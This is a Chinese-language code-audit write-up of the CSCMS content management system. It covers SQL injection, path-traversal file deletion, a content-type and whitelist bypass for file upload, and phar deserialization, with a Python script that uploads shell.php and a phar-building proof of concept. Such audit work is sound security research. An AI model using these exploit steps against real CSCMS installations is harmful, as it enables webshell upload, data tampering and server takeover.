CSCMS代码审计
前言
今天逛补天社区的时候看到了一篇CSCMS代码审计的文章,于是自己也下了一个CSCMS来练练手。我目前挖的有以下漏洞。
-
SQL注入 -
任意文件删除 -
任意文件上传 -
后台phar反序列化
CMS分析
在对一个cms进行代码审计之前,我们得对这个框架的一个结构进行简单的分析,如配置文件,入口文件,还有路由等。
路由分析
从文章可知,这个cms是基于CI框架编写的。而CI框架是通过/class/controller/method的方法来进行访问的。 如下http://cscms/index.php/dance/topic/lists/id/1
SQL注入
地址
upload/plugins/dance/Playsong.php
漏洞点
if(empty($_SERVER['HTTP_REFERER'])){exit('QQ:848769359');}
$zd = $this->input->get_post('zd',TRUE);
$row=$this->db->query("select id,cid,singerid,name,tid,fid,purl,sc,lrc,dhits".$zd." from ".CS_SqlPrefix."dance where id=".$id."")->row();
我们在访问的时候,必须在请求包上卖弄加一个Referer头,不然就会退出程序。 我们能看到$zd被直接拼接进了sql语句,我们来跟进get_post
public function get($index = NULL, $xss_clean = NULL, $sql_clean = FALSE)
{
return $this->_fetch_from_array($_GET, $index, $xss_clean, $sql_clean);
}
public function get_post($index, $xss_clean = NULL, $sql_clean = FALSE)
{
return isset($_GET[$index])
? $this->get($index, $xss_clean, $sql_clean)
: $this->post($index, $xss_clean, $sql_clean);
}
这里对index就是我们传入的zd,这里会进入get函数,然后我们跟进_fetch_from_array
protected function _fetch_from_array(&$array, $index = NULL, $xss_clean = NULL, $sql_clean = FALSE)
{
//省略
if (isset($array[$index]))
{
$value = $array[$index];
}
return $value;
}
从这段我们可以看到这里的_GET['zd']然后返回。
检验
因为要加上refer头,我们直接抓包,然后通过-r指令去探测
漏洞利用成功
任意文件删除
地址
upload/plugins/sys/admin/Upload.php
利用点
public function del(){
$this->Csadmin->Admin_Login();
$path = $this->input->get('path',true);
if(empty($path)){
getjson(L('plub_01'));
}
if(Web_Path=='/'){
if(substr($path,0,12)!='/attachment/'){
getjson(L('plub_02'));
}
}else{
$paths = str_replace(Web_Path,'',$path);
if(substr($paths,0,11)!='attachment/'){
getjson(L('plub_02'));
}
}
$path=FCPATH.$path;
var_dump($path);
if (is_dir($path)) {
deldir($path);
}else{
@unlink($path);
}
getjson(L('plub_03'),0);
}
其中path被拼接了一个FCPATH判断是否为文件夹,不是的话就直接删除,这里我们可以通过../../../来绕过
检验
抓包改包
任意文件上传
地址
upload/plugins/sys/admin/Upload.php
利用点
public function up_save(){
$key=$this->input->post('upkey',true);
$this->Csadmin->Admin_Login($key);
var_dump($key);
$dir=$this->input->post('dir',true);
if(empty($dir) || !preg_match('/^[0-9a-zA-Z_]*$/', $dir)) {
$dir='other';
}
//上传目录
if(UP_Mode==1 && UP_Pan!=''){
$path = UP_Pan.'/attachment/'.$dir.'/'.date('Ym').'/'.date('d').'/';
$path = str_replace("//","/",$path);
}else{
$path = FCPATH.'attachment/'.$dir.'/'.date('Ym').'/'.date('d').'/';
}
if (!is_dir($path)) {
mkdirss($path);
}
$tempFile = $_FILES['file']['tmp_name'];
$file_name = $_FILES['file']['name'];
$file_size = filesize($tempFile);
$file_ext = strtolower(trim(substr(strrchr($file_name, '.'), 1)));
$file_type = $_FILES['file']['type'];
//判断文件MIME类型
if($file_type != 'application/octet-stream'){
echo "ok";
var_dump($file_type);
$mimes = get_mimes();
if(!is_array($mimes[$file_ext])) $mimes[$file_ext] = array($mimes[$file_ext]);
var_dump($mimes[$file_ext]);
if(isset($mimes[$file_ext]) && $file_type !== false && !in_array($file_type,$mimes[$file_ext],true)){
getjson(L('plub_04'),1,1);
}
}
//检查扩展名
$ext_arr = explode("|", UP_Type);
var_dump($ext_arr);
if(!in_array($file_ext,$ext_arr,true)){
getjson(L('plub_04'),1,1);
}elseif(in_array($file_ext, array('gif', 'jpg', 'jpeg', 'jpe', 'png'), TRUE) && @getimagesize($tempFile) === FALSE){
getjson(L('plub_05'),1,1);
}
//PHP上传失败
if (!empty($_FILES['file']['error'])) {
switch($_FILES['file']['error']){
case '1':$error = L('plub_06');break;
case '2':$error = L('plub_07');break;
case '3':$error = L('plub_08');break;
case '4':$error = L('plub_09');break;
case '6':$error = L('plub_10');break;
case '7':$error = L('plub_11');break;
case '8':$error = 'File upload stopped by extension。';break;
case '999':default:$error = L('plub_12');
}
getjson($error,1,1);
}
//新文件名
$file_name=random_string('alnum', 20). '.' . $file_ext;
$file_path=$path.$file_name;
if (move_uploaded_file($tempFile, $file_path) !== false) { //上传成功
$filepath=(UP_Mode==1)?'/'.date('Ym').'/'.date('d').'/'.$file_name : '/'.date('Ymd').'/'.$file_name;
//判断水印
if($dir!='links' && CS_WaterMark==1){
if($file_ext=='jpg' || $file_ext=='png' || $file_ext=='gif' || $file_ext=='bmp' || $file_ext=='jpge'){
$this->load->library('watermark');
$this->watermark->imagewatermark($file_path);
}
}
//判断上传方式
$this->load->library('csup');
$res=$this->csup->up($file_path,$file_name);
if($res){
if($dir=='music' || $dir=='video'){
if(UP_Mode==1){
$filepath = 'attachment/'.$dir.$filepath;
}else{
$filepath = annexlink($filepath);
}
}
getjson(array('msg'=>'ok','fileurl'=>$filepath),1,1);
}else{
@unlink($file_path);
getjson('no',1,1);
}
}else{ //上传失败
getjson('no',1,1);
}
}
首先post一个dir目录如果dir为空则传入到other目录。我们继续看判断UP_mode的值,这个值在如下文件被定义,默认为1upload/cscms/config/sys/Cs_Ftp.php
<?php
define('UP_Mode',1); //会员上传附件方式 1站内,2FTP,3七牛,4阿里云,5又拍云...
define('UP_Size',20480); //上传支持的最大KB
define('UP_Type','mp3|mp4|jpg|gif|png|txt|zip|rar|php'); //上传支持的格式
define('UP_Url',''); //本地访问地址
define('UP_Pan',''); //本地存储路径
define('FTP_Url','http://demo.chshcms.com/'); //远程FTP连接地址
define('FTP_Server','127.0.0.1'); //远程FTP服务器IP
define('FTP_Dir',''); //远程FTP目录
define('FTP_Port','21'); //远程FTP端口
define('FTP_Name','111'); //远程FTP帐号
define('FTP_Pass','111'); //远程FTP密码
define('FTP_Ive',TRUE); //是否使用被动模式
接下来就是去获取文件信息
$tempFile = $_FILES['file']['tmp_name'];
$file_name = $_FILES['file']['name'];
$file_size = filesize($tempFile);
$file_ext = strtolower(trim(substr(strrchr($file_name, '.'), 1)));
$file_type = $_FILES['file']['type'];
这里判断content-type头是否为脚本类型,如果不是就会进入这个if里面,为了绕过,我们就把content-type改为application/octet-stream
if($file_type != 'application/octet-stream'){
echo "ok";
var_dump($file_type);
$mimes = get_mimes();
if(!is_array($mimes[$file_ext])) $mimes[$file_ext] = array($mimes[$file_ext]);
var_dump($mimes[$file_ext]);
if(isset($mimes[$file_ext]) && $file_type !== false && !in_array($file_type,$mimes[$file_ext],true)){
getjson(L('plub_04'),1,1);
}
}
然后检查扩展名,UP_Type的值在上面有,这里如果后缀没有在UP_Type里就会报错,在后端的这个页面,我们可以把php加上去,绕过白名单。
//检查扩展名
$ext_arr = explode("|", UP_Type);
var_dump($ext_arr);
if(!in_array($file_ext,$ext_arr,true)){
getjson(L('plub_04'),1,1);
}elseif(in_array($file_ext, array('gif', 'jpg', 'jpeg', 'jpe', 'png'), TRUE) && @getimagesize($tempFile) === FALSE){
getjson(L('plub_05'),1,1);
}
然后接下来就是去上传文件,这里对文件名不用过多关注,因为我们可以在这里直接去查看。
验证
一个python脚本
import requests
header={
'Cookie':"cscms_session=vseensqpf3oa8lpf2069klrpjuhth95h"
}
url="http://cscms/admi n.php/upload/up_save"
f=open('shell.php','rb')
file={'file':('shell.php', f, 'application/octet-stream')}
resp=requests.post(url=url,files=file,headers=header)
print(resp.text)
phar反序列化
前言
即上次的phar反序列化的烂挖,我这次多留意了一下,没想到真的挖到了。
地址
upload/plugins/dance/admin/Saomiao.php
利用点
public function save(){
$dir = $this->input->post('dir');
$path = $this->input->post('path');
$hz = $this->input->post('hz');
$playhz = $this->input->post('playhz');
$files = $this->input->post('files');
$cid = intval($this->input->post('cid',true));
$user = $this->input->post('user',true);
$singer = $this->input->post('singer',true);
if(empty($files)) exit('<span style="color:red;">抱歉,请选择要入库的数据~!</span><span style="color:#009688;"> 2秒后返回......</span><script>setTimeout(function(){location.href = history.back();},2000);</script>');
if($cid==0) exit('<span style="color:red;">抱歉,请选择要入库的分类~!</span><span style="color:#009688;"> 2秒后返回......</span><script>setTimeout(function(){location.href = history.back();},2000);</script>');
$dir=str_replace("\","/",$dir);
$dir=str_replace("//","/",$dir);
$path=str_replace("\","/",$path);
$path=str_replace("//","/",$path);
$hz=str_replace("php","",$hz);
$hz=str_replace("||","|",$hz);
echo "okkk";
//入库开始
$data['cid']=$cid;
$data['tid']=intval($this->input->post('tid'));
$data['fid']=intval($this->input->post('fid'));
$data['reco']=intval($this->input->post('reco'));
$data['uid']=intval(getzd('user','id',$user,'name'));
$data['lrc']='';
$data['text']='';
$data['cion']=intval($this->input->post('cion'));
$data['vip']=intval($this->input->post('vip'));
$data['level']=intval($this->input->post('level'));
$data['tags']=$this->input->post('tags',true);
$data['zc']=$this->input->post('zc',true);
$data['zq']=$this->input->post('zq',true);
$data['bq']=$this->input->post('bq',true);
$data['hy']=$this->input->post('hy',true);
$data['singerid']=intval(getzd('singer','id',$singer,'name'));
$data['skins']=$this->input->post('skins',true);
$data['addtime']=time();
echo '<LINK href="'.base_url().'packs/admin/css/style.css" type="text/css" rel="stylesheet"><script src="'.base_url().'packs/js/jquery.min.js"></script>';
echo "ok123";
$filearr=explode("rn",$files);
var_dump($filearr);
for($i=0;$i<count($filearr);$i++){
$file = get_bm($filearr[$i],'utf-8','gbk');
$file = str_replace("//","/",$file);
if(substr($file,0,2) == "./"){
$file = substr($file,1);
$dir = $_SERVER['DOCUMENT_ROOT'];
$file = $dir.$file;
}
if(is_dir($file)){ //文件夹
echo "okfile";
$strs = $this->dirtofiles($file,$hz);
var_dump($strs);
if(!empty($strs)){
foreach ($strs as $value) {
if(!empty($value)){
$dance = addslashes(get_bm($value));
$dance = str_replace($dir,"",$dance);
$exts = trim(strrchr($dance, '.'), '.');
$name = end(explode("/",$dance));
$data['name'] = str_replace('.'.$exts,'',$name);
$data['purl'] = $dance;
$data['durl'] = $dance;
//判断视听后缀
if(!empty($playhz)){
$data['purl'] = str_replace('.'.$exts,'.'.$playhz,$data['purl']);
}
//判断数据是否存在
echo "ok";
$row=$this->db->query("SELECT id FROM ".CS_SqlPrefix."dance where durl='".$data['durl']."'")->row();
if($row){
echo "<br> <font style=font-size:10pt;> ".$dance."<font color=red> 已经存在,入库失败...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";
}else{
$data['dx']=formatsize(filesize($value));
var_dump($value);
echo "okj";
$info=$this->djinfo($value);
if($info){
$data['dx']=$info['dx'];
$data['yz']=$info['yz'];
$data['sc']=$info['sc'];
}
$this->Csdb->get_insert('dance',$data);
echo "<br> <font style=font-size:10pt;> ".$dance."<font color=#009688;> 操作成功,入库完成...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";
flush();ob_flush();
}
}
}
}
}else{ //文件
if(!empty($file)){
echo "112321";
$dance = addslashes(get_bm($file));
$dance = str_replace($dir,"",$dance);
$exts = trim(strrchr($dance, '.'), '.');
$name = end(explode("/",$dance));
$data['name'] = str_replace('.'.$exts,'',$name);
$data['purl'] = $dance;
$data['durl'] = $dance;
//判断视听后缀
if(!empty($playhz)){
$data['purl'] = str_replace('.'.$exts,'.'.$playhz,$data['purl']);
}
var_dump($playhz);
//判断数据是否存在
var_dump($data['durl']);
$row=$this->db->query("SELECT id FROM ".CS_SqlPrefix."dance where durl='".$data['durl']."'")->row();
if($row){
echo "<br> <font style=font-size:10pt;> ".$dance."<font color=red> 已经存在,入库失败...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";
}else{
echo "okokfuckfuck";
$data['dx']=formatsize(filesize($file));
var_dump($file);
$info=$this->djinfo($file);
if($info){
$data['dx']=$info['dx'];
$data['yz']=$info['yz'];
$data['sc']=$info['sc'];
}
$this->Csdb->get_insert('dance',$data);
echo "<br> <font style=font-size:10pt;> ".$dance."<font color=#009688;> 操作成功,入库完成...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";
}
flush();ob_flush();
}
}
}
die("<br> <font style=color:red;font-size:14px;><b>操作完毕,3秒后返回...</b><br></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;setTimeout('ReadGo();',3000);function ReadGo(){window.location.href ='javascript:history.go(-2);'}</script>");
}
首先是传递参数
$dir = $this->input->post('dir');
$path = $this->input->post('path');
$hz = $this->input->post('hz');
$playhz = $this->input->post('playhz');
$files = $this->input->post('files');
$cid = intval($this->input->post('cid',true));
$user = $this->input->post('user',true);
$singer = $this->input->post('singer',true);
这边是对后缀的过滤,可以看到,这边也可以传shell,只要双写过滤就好,我们这边把phar改为png文件就行。
$dir=str_replace("\","/",$dir);
$dir=str_replace("//","/",$dir);
$path=str_replace("\","/",$path);
$path=str_replace("//","/",$path);
$hz=str_replace("php","",$hz);
$hz=str_replace("||","|",$hz);
接下来是判断file是目录还是文件,我们看到下面的else
$row=$this->db->query("SELECT id FROM ".CS_SqlPrefix."dance where durl='".$data['durl']."'")->row();
if($row){
echo "<br> <font style=font-size:10pt;> ".$dance."<font color=red> 已经存在,入库失败...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";
}else{
echo "okokfuckfuck";
$data['dx']=formatsize(filesize($file));
var_dump($file);
$info=$this->djinfo($file);
if($info){
$data['dx']=$info['dx'];
$data['yz']=$info['yz'];
$data['sc']=$info['sc'];
}
$this->Csdb->get_insert('dance',$data);
echo "<br> <font style=font-size:10pt;> ".$dance."<font color=#009688;> 操作成功,入库完成...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";
}
可以看到,扫描后,就会把文件路径给放入数据库中,如果数据库没有,就会有入库的操作,我们看到djinfo函数
public function djinfo($dir){
echo "ojbkc";
if(!file_exists($dir)) return false;
$music = $this->mp3file->get_metadata($dir);
if(!empty($music['Filesize']) && !empty($music['Bitrate']) && !empty($music['Length mm:ss'])){
return array("dx"=>formatsize($music['Filesize']),"yz"=>$music['Bitrate']." Kbps","sc"=>$music['Length mm:ss']);
}else{
return false;
}
}
这里传入一个参数,然后file_exists去判断文件是否存在,这里我们可以把file传入一个phar伪协议,成功执行反序列化。
检验
写一个测试类
<?php
class test {
public function __wakeup()
{
phpinfo();
}
}
$t=new test();
echo serialize($t);
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($t);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
生成后的phar改为png上传。 抓包
因为这里会对/进行过滤,我们多加一个/就好。 成功执行
原文始发于微信公众号(珠天PearlSky):代码审计集合-3
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论